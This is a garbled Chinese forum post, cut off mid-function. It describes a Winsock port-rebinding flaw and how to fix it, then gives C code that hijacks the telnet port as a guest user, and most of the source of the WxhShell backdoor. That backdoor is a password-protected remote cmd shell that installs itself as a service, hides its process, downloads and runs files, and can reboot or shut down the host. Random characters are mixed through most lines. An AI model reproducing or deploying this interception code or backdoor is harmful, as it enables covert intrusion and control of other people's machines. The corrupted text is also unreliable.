在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
/
GJ"##< s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
}_M.-Xm A{;b^IK saddr.sin_family = AF_INET;
3u7E?*{sH ?S0VtHQ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
;2}0Hr'| 8@/]ki`> bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
v^[Ny0cM ,KIa+&vJW@ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
`2NL'O: 8\y%J!b 这意味着什么?意味着可以进行如下的攻击:
gzP(LfI5 xN}P0 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
0pu])[P]_[ d?&?$qf[ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
q!<`ci,uS R6)p4#|i 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
$RKd@5XP c?eV8h1G 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
\GbT^!dj s+^o[R
T3 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
>lyUr*4PX mb?DnP,z 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
k KL^U (J<@e!@NE 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
)u]<8 Tc\^=e^N? #include
,q/K&'0` #include
G+'MTC_ #include
u3 ?+Hu|*T #include
$&k2m^R< DWORD WINAPI ClientThread(LPVOID lpParam);
*=S\jek int main()
4^alAq^ {
PKfxL}:"8 WORD wVersionRequested;
X&M4c5Li DWORD ret;
=YZp,{T WSADATA wsaData;
'4FS.0*_ BOOL val;
PQvq$|q SOCKADDR_IN saddr;
QKZm<lUL SOCKADDR_IN scaddr;
[gzw<b:` int err;
N(}7M~m> SOCKET s;
&N*S
SOCKET sc;
0wZLkU_( int caddsize;
{*t'h?b HANDLE mt;
Fm,A<+l@u DWORD tid;
L|6c lGp wVersionRequested = MAKEWORD( 2, 2 );
JeUFCWm err = WSAStartup( wVersionRequested, &wsaData );
2v`VtV|B if ( err != 0 ) {
g;v{JB printf("error!WSAStartup failed!\n");
Ps<)?q6( return -1;
{)ZbOq2 }
\fU{$ saddr.sin_family = AF_INET;
x7Ly, zmf5!77 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
Lvv`_ w*#k&N[X saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
x;Dr40wD@y saddr.sin_port = htons(23);
u/y`M]17 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
<s+=v! {
AWQwpaj- printf("error!socket failed!\n");
dm.?-u;C return -1;
Ej 'a
G }
W3*WR,z val = TRUE;
{
j&|Em] //SO_REUSEADDR选项就是可以实现端口重绑定的
Xj+1]KRN if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
|m k $W$h {
s4MP!n?gB printf("error!setsockopt failed!\n");
+Z$X5Th return -1;
!j %)nU }
kc|`VB8L //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
n?Gm 5## //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
wm*`
//其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
mkj`z b
|m$ W if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
8DLR {
}[D~#Z!k ret=GetLastError();
3$l'>v+5{ printf("error!bind failed!\n");
/
)5B return -1;
MZ+8wr/y }
Gk799SDL listen(s,2);
3Eiy/ while(1)
?)4|WN|c_ {
"Oh-`C caddsize = sizeof(scaddr);
i]hFiX //接受连接请求
wOHK
dQ' sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
g6QkF41nG if(sc!=INVALID_SOCKET)
Gu*;z% b2 {
XuR!9x^5 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
7F\U|kx_ if(mt==NULL)
xC<OFpI\ {
NO`a2HR$ printf("Thread Creat Failed!\n");
)dC%g=dtc break;
8-juzL} }
=kZPd>&L }
?h
K+h .{ CloseHandle(mt);
\^N9Q9{7] }
\+Qx}bS{ closesocket(s);
j*W]^uT, WSACleanup();
~O@V;y return 0;
o~<fw]y }
oc\rQ? DWORD WINAPI ClientThread(LPVOID lpParam)
G*ym[ {
pgU54Ef SOCKET ss = (SOCKET)lpParam;
nN@8vivP% SOCKET sc;
`U(A 5 unsigned char buf[4096];
jh\q2E~,` SOCKADDR_IN saddr;
X?4tOsd long num;
SRM[IU
DWORD val;
_u{D #mmO DWORD ret;
s(Kf%ZoE //如果是隐藏端口应用的话,可以在此处加一些判断
GE~mu76% //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
]Z<{
~ saddr.sin_family = AF_INET;
s'~_pP saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
2c8,H29 saddr.sin_port = htons(23);
Om>6<3n if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
JWMIZ{/M {
kwGj7' printf("error!socket failed!\n");
)F4er' return -1;
.t"s>jq 1 }
'cH),~ z val = 100;
*|euC"5c if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
(X>r_4W$ {
9J%dd0 ret = GetLastError();
:8Q6=K87 return -1;
"vU:qwm }
@f*/V e0. if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
!R{L`T0 {
']Y:f)i# ret = GetLastError();
Z?"Pkc.Ei return -1;
3gv>AgG }
UvQxtT] if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
7OC,KgJ3 {
; M"hX printf("error!socket connect failed!\n");
;EFs2-{K closesocket(sc);
O_F<VV*MFQ closesocket(ss);
`Ph4!-6# return -1;
]7dm`XV
}
{r'#(\ while(1)
7F|T5[*l {
1|z>}
xP //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
q3scz //如果是嗅探内容的话,可以再此处进行内容分析和记录
pN*>A^ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
4^AE;= Q num = recv(ss,buf,4096,0);
a&XURyp if(num>0)
O%0G37h send(sc,buf,num,0);
,p$1n; else if(num==0)
4~G9._ break;
Z"e|DP` num = recv(sc,buf,4096,0);
tV#x{DN if(num>0)
I!# 42~\ send(ss,buf,num,0);
<]CO}r
else if(num==0)
tQ?? nI2 break;
oB_{xu$6| }
ym(r;mj! closesocket(ss);
U]e;=T:3 closesocket(sc);
uo 7AU3\ return 0 ;
HpNf f0c }
T!v%NZj3 \P{VJ^)0 3TtnLay.k ==========================================================
H~||]_q| [0MVsc= 下边附上一个代码,,WXhSHELL
Ae`K9 $qIMYX ==========================================================
gtCd#t'(V q7m-} mBN~ #include "stdafx.h"
!n)2HDYhx, "'6KQnpZ #include <stdio.h>
eW7;yH #include <string.h>
lD
!^MqK #include <windows.h>
~5cLI;4h #include <winsock2.h>
E8FS jLZ #include <winsvc.h>
(F$q|qZ% #include <urlmon.h>
ZZl)p\r eT}c_h) #pragma comment (lib, "Ws2_32.lib")
GbStqR~^# #pragma comment (lib, "urlmon.lib")
W J^r~*r B[cZEFo\ #define MAX_USER 100 // 最大客户端连接数
||qsoF5B] #define BUF_SOCK 200 // sock buffer
sEhdkN}6 #define KEY_BUFF 255 // 输入 buffer
A5?[j
QT0 nW{7L #define REBOOT 0 // 重启
-] J V #define SHUTDOWN 1 // 关机
3(AgUq LG&~#x #define DEF_PORT 5000 // 监听端口
#W!@j"8eK SBeb}LZ #define REG_LEN 16 // 注册表键长度
8LR_K]\ #define SVC_LEN 80 // NT服务名长度
5&+
qX
2b kS=OX5 // 从dll定义API
EkjO4=~UC typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
roW8 4x typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
_E&*JX typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
a7OD%yQ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
3}LTEsdM DFR.F:O% // wxhshell配置信息
a{Tv#P*! struct WSCFG {
WBTX~%*U int ws_port; // 监听端口
`sJkOEc` char ws_passstr[REG_LEN]; // 口令
f4`=yj* int ws_autoins; // 安装标记, 1=yes 0=no
uN6TV*]: char ws_regname[REG_LEN]; // 注册表键名
)ZNH/9e/ char ws_svcname[REG_LEN]; // 服务名
'>2xP<ct!& char ws_svcdisp[SVC_LEN]; // 服务显示名
mjS)*@F char ws_svcdesc[SVC_LEN]; // 服务描述信息
oh#6>| char ws_passmsg[SVC_LEN]; // 密码输入提示信息
gZ/M0px int ws_downexe; // 下载执行标记, 1=yes 0=no
`4 w0*;k; char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
#/5jWH7U char ws_filenam[SVC_LEN]; // 下载后保存的文件名
I^\YD9~=x ^aXyho };
F!'b_gmz KQQR"[z&V // default Wxhshell configuration
p0'A\@| struct WSCFG wscfg={DEF_PORT,
vpOzF>O "xuhuanlingzhe",
[<f\+g2ct 1,
A*MlK" "Wxhshell",
H.wp{m{ "Wxhshell",
2x3&o|J "WxhShell Service",
p# O%<S@? "Wrsky Windows CmdShell Service",
H4^-M Sw "Please Input Your Password: ",
M<g>z6 1,
LuR.; TiW "
http://www.wrsky.com/wxhshell.exe",
9$UjZ$ v "Wxhshell.exe"
.T4"+FTzP };
NaB8cLURp &``;1/J*W // 消息定义模块
. (Q;EF`_U char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
*vUKh^=" char *msg_ws_prompt="\n\r? for help\n\r#>";
6D3fkvcZ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
TQ>kmHWf/ char *msg_ws_ext="\n\rExit.";
M,q'
char *msg_ws_end="\n\rQuit.";
}|{yd03+ char *msg_ws_boot="\n\rReboot...";
Uhb6{'+ char *msg_ws_poff="\n\rShutdown...";
QfT&y & char *msg_ws_down="\n\rSave to ";
YG"P:d;s pmIQD" char *msg_ws_err="\n\rErr!";
FeLWQn/aV6 char *msg_ws_ok="\n\rOK!";
9(ANhG r`B8Cik char ExeFile[MAX_PATH];
Vk@u|6U' int nUser = 0;
rc9 \ HANDLE handles[MAX_USER];
,MuLu,$/ int OsIsNt;
kJHUaXM $*L@ym SERVICE_STATUS serviceStatus;
J3y5R1?EP SERVICE_STATUS_HANDLE hServiceStatusHandle;
d!e$BiC Gzc{2"p // 函数声明
osPX%k!yw int Install(void);
)bw^!w) int Uninstall(void);
q
( H^H int DownloadFile(char *sURL, SOCKET wsh);
9'td}S int Boot(int flag);
&hyr""NkAm void HideProc(void);
Y
-o*d@ int GetOsVer(void);
&tHT6,Xv( int Wxhshell(SOCKET wsl);
"2N3L8?k void TalkWithClient(void *cs);
!)_80O1 int CmdShell(SOCKET sock);
6&$z!60 int StartFromService(void);
Lt|k}p@] int StartWxhshell(LPSTR lpCmdLine);
UH.M)br !|!:MYn VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
%L<VnY#%u VOID WINAPI NTServiceHandler( DWORD fdwControl );
Wi
hQj qRTxg% // 数据结构和表定义
s1:UCv-% SERVICE_TABLE_ENTRY DispatchTable[] =
$zyY"yWRZ {
a}0\kDe {wscfg.ws_svcname, NTServiceMain},
{cq; SH {NULL, NULL}
:$dGcX} };
I zM =?,` 1LT)%_d@ // 自我安装
n]6xrsE int Install(void)
<;phc~0+ {
t 0nGZ%` char svExeFile[MAX_PATH];
L8/o9N1 HKEY key;
j}#48{ strcpy(svExeFile,ExeFile);
-:*PXu r >u0Y // 如果是win9x系统,修改注册表设为自启动
-"<H$ if(!OsIsNt) {
ATk>:^n if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
@C~TD)K RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
N[){yaj RegCloseKey(key);
o/2\8 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
LL#7oBJdM RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
gO gZ RegCloseKey(key);
X./8
PK?& return 0;
Xr6lYO _R }
9 qqy( H }
'O
\YL(j_e }
v9u/<w68! else {
~EpMO]I E9!IGci // 如果是NT以上系统,安装为系统服务
ofj7$se SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
g@`14U/| if (schSCManager!=0)
#Z98D9Pv`o {
DUM,dFIlvF SC_HANDLE schService = CreateService
T{{J'
_s5L (
}i|o":-x+ schSCManager,
D>VI{p wscfg.ws_svcname,
ORp6 wscfg.ws_svcdisp,
ZgZ}^x SERVICE_ALL_ACCESS,
]cLpLA" SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
Tf21K9+`L SERVICE_AUTO_START,
)p(5$AR7 SERVICE_ERROR_NORMAL,
KaBze67<| svExeFile,
$ 6Nm`[V NULL,
]i=-/ NULL,
zf5s\w.4 NULL,
_+wv3?
c" NULL,
8Rc4+g NULL
FWq6e, );
`jvIcu5c if (schService!=0)
f&7SivS# {
D2[uex CloseServiceHandle(schService);
vXq=f:y4 CloseServiceHandle(schSCManager);
Xi4!7IOmo strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
f?2Y np=@ strcat(svExeFile,wscfg.ws_svcname);
!b7]n-1zs if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
` {k>I^Pg RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
G0^23j RegCloseKey(key);
Y^2`)': return 0;
{!o-y= }
Qh? E*9 }
p%]*I? CloseServiceHandle(schSCManager);
|\XjA4j }
Q`,D#V${D }
&z
1A-O
v xQk]a1 return 1;
-]+XTsL }
+T"kx\< 818</b<yn // 自我卸载
.gG<08Z int Uninstall(void)
gupB8 .! {
gTH1FR8$y HKEY key;
T9*\ITA JihI1C if(!OsIsNt) {
iL/(WAB_od if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
S`U Gk RegDeleteValue(key,wscfg.ws_regname);
V/"XC3/n* RegCloseKey(key);
]BO{Q+?d2 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
L<1"u.3Z`} RegDeleteValue(key,wscfg.ws_regname);
cx_[Y RegCloseKey(key);
=c(_$|0 return 0;
4CW/ }
QKwWX_3%Z] }
a_`E'BkgU }
H{\tQ->(2 else {
6@]Xwq Y
H
2iV SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
&A*oQ3 if (schSCManager!=0)
LJc
w-> {
K.*?\)& SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
ed'}ReLK if (schService!=0)
f0IljY!. {
ga4 gH>4 if(DeleteService(schService)!=0) {
83412@& CloseServiceHandle(schService);
Mpk^e_9`< CloseServiceHandle(schSCManager);
wf=#w}f return 0;
uZ]B ?Z%y# }
bhOyx CloseServiceHandle(schService);
5y(irbk7 }
r{YyKSL1*K CloseServiceHandle(schSCManager);
L`R,4mI.W }
vk5pnCM^3 }
xv$^%(Ujp T!"<Kv]J return 1;
>m:.5][yu }
xp)#a_} 8!VjXj" // 从指定url下载文件
r[TS#hQ int DownloadFile(char *sURL, SOCKET wsh)
/I7sa* i {
T9t9]) HRESULT hr;
q[M7)- char seps[]= "/";
@7u4v%,wB char *token;
Jtd@8fVi char *file;
?Ih24>:D char myURL[MAX_PATH];
.x(&- char myFILE[MAX_PATH];
C:
kl/9M@ `eND3c strcpy(myURL,sURL);
"*RCV6{ token=strtok(myURL,seps);
l
YH={jJ while(token!=NULL)
]1)@.b;QR {
hO;bnt%( file=token;
,*E%D _ token=strtok(NULL,seps);
J}._v\Q7P }
@tEVgyN E;VB oN [ GetCurrentDirectory(MAX_PATH,myFILE);
;FMK>%Zq strcat(myFILE, "\\");
qt^%jIv strcat(myFILE, file);
$C9<{zX
send(wsh,myFILE,strlen(myFILE),0);
Co[[6pt~ send(wsh,"...",3,0);
R:E6E@T hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
<j:3<''o if(hr==S_OK)
XhWMvme return 0;
iV'-j,-i else
v0"|J3 return 1;
I;P?P5H z9w@-]) }
M\\TQ(B 2Mu-c:1 // 系统电源模块
k5!k3yI int Boot(int flag)
iN`/pW/JE {
EOtrrfT& HANDLE hToken;
Pk8L-[&v TOKEN_PRIVILEGES tkp;
u%XFFt5 *uA?}XEfi if(OsIsNt) {
j"94hWb OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
II>X6 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
Y0s^9?* tkp.PrivilegeCount = 1;
1Y}gki^F tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
"Y(S G AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
R^1= :<)C if(flag==REBOOT) {
P%ZWm=lg if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
GdG%=+ return 0;
|i|YlWQS }
\RQ5$!O else {
.8b4 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
P2`ks[u+i return 0;
%ef+Z }
Mh~T.;f.qq }
V9Au\ else {
KO)<Zh if(flag==REBOOT) {
`(Q58wR} if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
YQQ!1hw return 0;
YgM6z K~ }
+QldZba else {
=;Wkg4\5 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
}-r"W7]k return 0;
*k+QX }
A:
0]
n }
+% U@ U}gYZi;;$ return 1;
JiI(?I }
?MpGzCPa Q=^}B}G // win9x进程隐藏模块
p-*BB_J" void HideProc(void)
Xo%A nqk {
`&pb`P<` _F@FcFG1Z* HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
HowlJ[ km% if ( hKernel != NULL )
F6%rH$aS {
;A-Ef pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
_^P>@
^ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
5+ fS$Q
FreeLibrary(hKernel);
Cs]xs9 }
B5I(ai7<M ;H:qDBH return;
c#HocwP@ }
5~rs55W $<ZX};/D // 获取操作系统版本
L"}@>&6 int GetOsVer(void)
lPFMNRt~8 {
_I$]L8hC OSVERSIONINFO winfo;
<7PtC,74 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
*Gu=O|Mm GetVersionEx(&winfo);
l@j!j]nE if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
k?J}-+Bm[| return 1;
D(h|r^5 else
.S?,%4v%% return 0;
|?g2k:fzB7 }
BwEL\*$g 8\I(a]kM` // 客户端句柄模块
N#[/h96F int Wxhshell(SOCKET wsl)
JBoo7a1 {
k?S-peyRO SOCKET wsh;
)3G?5
OTS struct sockaddr_in client;
A@DIq/^xM DWORD myID;
VKR6 i YO,GZD`-o while(nUser<MAX_USER)
pkk0?$l", {
niA{L:4 int nSize=sizeof(client);
~4 \bR wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
7,+:QY@ if(wsh==INVALID_SOCKET) return 1;
)%MBo.NL `q
xg handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
As)-a5! if(handles[nUser]==0)
,%,}[q?]d closesocket(wsh);
HuK'tU# else
=%]dk=n?TN nUser++;
:$}67b)MO }
_FVIN;! WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
]h|GaHiE =3(
ZUV X return 0;
f3596a }
E3gQ`+wNg? `mWg$e, // 关闭 socket
9]7^/g*! void CloseIt(SOCKET wsh)
A$5!]+ {
-7pZRnv closesocket(wsh);
l[.pI];T nUser--;
!MGQ+bD6 ExitThread(0);
F`38sq }
}NYsKu_cM M~"K@g=Wr // 客户端请求句柄
`q5*VqIhs void TalkWithClient(void *cs)
=E,*8O] {
L~0B `[:f;2(@ SOCKET wsh=(SOCKET)cs;
Ng-3|N char pwd[SVC_LEN];
Pd@?(WQ char cmd[KEY_BUFF];
/Wj9Stj5 char chr[1];
G4=v2_] int i,j;
9^aMmN&6N2 :_?>3c}L while (nUser < MAX_USER) {
kj-Sd^ +Uk/Zg
w^ if(wscfg.ws_passstr) {
"urQUpF if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
VTV-$Du[} //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
H ~$a6T"& //ZeroMemory(pwd,KEY_BUFF);
X GO_n{x i=0;
n\P{Mc while(i<SVC_LEN) {
oR5`- "1l d4/ // 设置超时
7Y$p3]0e+ fd_set FdRead;
4{J%`H`Q! struct timeval TimeOut;
_y8)jD" FD_ZERO(&FdRead);
7pGlbdS FD_SET(wsh,&FdRead);
dwmj*+ TimeOut.tv_sec=8;
M VsIyP TimeOut.tv_usec=0;
$Itehy int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
av5lgv)3 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
+:^tppg Q*lZ;~R if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
bx5X8D pwd
=chr[0]; (IEtjv}D
if(chr[0]==0xd || chr[0]==0xa) { gMgbqGF)
pwd=0; Y=Bk;%yT=
break; p~M^' k=d
} 0mCrA|A.
i++; yTmoEy. q
} yuhSP{pv'
O-mP{
// 如果是非法用户,关闭 socket @=@WRPGM*9
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);
ft$/-;
} m+V'*[O{
8Y&(o-R0
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); %*Y:Rm'>
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); NB>fr#pb
)TP7gLv=b
while(1) { k.rZj|7 L
A3h[VnuG,
ZeroMemory(cmd,KEY_BUFF); 3g} ]nj:N
:PjHs Np;^
// 自动支持客户端 telnet标准 *%Q!22?6F
j=0; s K s
D
while(j<KEY_BUFF) { /<M08ze
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >0u4>=#
cmd[j]=chr[0]; \5O4}sm$*
if(chr[0]==0xa || chr[0]==0xd) { zQD$+q5h
cmd[j]=0; J;G+6C$:
break; zf6k%
} :,:r
j++; {HQ?
} NPKRX Li%
U?H!:?,C
// 下载文件 _ea!psA0
if(strstr(cmd,"http://")) { Nno*X9>~
send(wsh,msg_ws_down,strlen(msg_ws_down),0); )Ibp%'H
if(DownloadFile(cmd,wsh)) EAx@a%
send(wsh,msg_ws_err,strlen(msg_ws_err),0); rbs:qLa%
else ,qt9S0QS
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {aAA4.j^
} !7Ta Vx}`(
else { Z9TG/C,eo
YB~}!F [(
switch(cmd[0]) { @-)?2CH[8
>Ei_##
// 帮助 4Yx?75/
case '?': { CYs:P8^
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); MSsboSxA
break; ] S]F&B
M|
} 7pmhH%Dn$
// 安装 vBKBMnSd
case 'i': { >8HcCG
if(Install())
-x@mS2
send(wsh,msg_ws_err,strlen(msg_ws_err),0); kcI3pmgj
else Oe*emUX7
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;aWH`^{i
break; :SziQQ
} T/uj5pMG
// 卸载 Wu9@Ecb
case 'r': { Al6)$8]e
if(Uninstall()) %Qrf
]
send(wsh,msg_ws_err,strlen(msg_ws_err),0); \h?C
G_|]
else /J8y[aa
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (wnkdI{
break; ErHbc2
} ;ukwKfs
// 显示 wxhshell 所在路径 K`768%q
case 'p': { 9UZKL@KC
char svExeFile[MAX_PATH]; jL>IX`,+6
strcpy(svExeFile,"\n\r"); 8?h-H#h
strcat(svExeFile,ExeFile); ytKh[Uo
send(wsh,svExeFile,strlen(svExeFile),0); U"af3c^2
break; BUuNI_?M#5
} iLNKC'
// 重启 JZ]4?_l
case 'b': { OT&J OTk\
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); hK&jo(V
if(Boot(REBOOT)) 9v8{JaI3
send(wsh,msg_ws_err,strlen(msg_ws_err),0); TE3A(N'
else { -y)ij``VY
closesocket(wsh); }RDGk+x7|
ExitThread(0); ^ [uA^
} bBn4m:
break; VE6
V^6SL
} f3[gAY
// 关机 VW}xY
case 'd': { .B+R+2uY3
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); :B6hYx
if(Boot(SHUTDOWN)) NDWpV
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ao69Qn
else { {+F/lN@
closesocket(wsh); bM;==W
ExitThread(0); -uHD|
}
} u`O
xY
break; P=OHiG\z
} DKx8<yEky
// 获取shell py6|uGN
case 's': { yF0\$%H>$
CmdShell(wsh); T6*naH
closesocket(wsh); (i^{\zv
ExitThread(0); xlZ"F
break; gu7mGHn-
}
pQKR
// 退出 #H fvY}[o
case 'x': { z:{'IY
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ?suNA
CloseIt(wsh); g[!t@K
break; w$MFCJ:p&
} NTkGLD1e.
// 离开 YIvJN
case 'q': { $e)d!m.
send(wsh,msg_ws_end,strlen(msg_ws_end),0); J=JYf_=4bc
closesocket(wsh); ;Kob]b
WSACleanup(); n,q+EZd
exit(1); }1VxMx@
break; ]d=SkOq
} L<'3O),}
} k7z;^:
} *NHBwXg+
;P3sDN
// 提示信息 jCa%(2~iQ7
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !o1{. V9q
} =UE/GTbl
}
G?AZ%Yx
ze@NqCF
return; aVNBF`
} DK;p6_tT
D~E1hr&Vd>
// shell模块句柄 $6e&sDJ
int CmdShell(SOCKET sock) tpOMKh.`
{ h,o/(GNnW
STARTUPINFO si; j6]+fo&3
ZeroMemory(&si,sizeof(si)); EnnT)qos
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; YBqu7&
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; uLX5khQ
PROCESS_INFORMATION ProcessInfo; l=,\ h&
char cmdline[]="cmd"; e33 j&:O
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); >qk[/\^O
return 0; #Mkwd5S|L
} ,:Qy%k}f
Fa:fBs{
// 自身启动模式 (99P9\[p
int StartFromService(void) {>PN}fk2QP
{ 6A&e2K> A
typedef struct /`McKYIP
{ K<TVp;N
DWORD ExitStatus; WDQtj$e+
DWORD PebBaseAddress; 78zjC6}`
DWORD AffinityMask; lO3W:,3_a
DWORD BasePriority; dfl| 6R
ULONG UniqueProcessId; S<HR6Xw
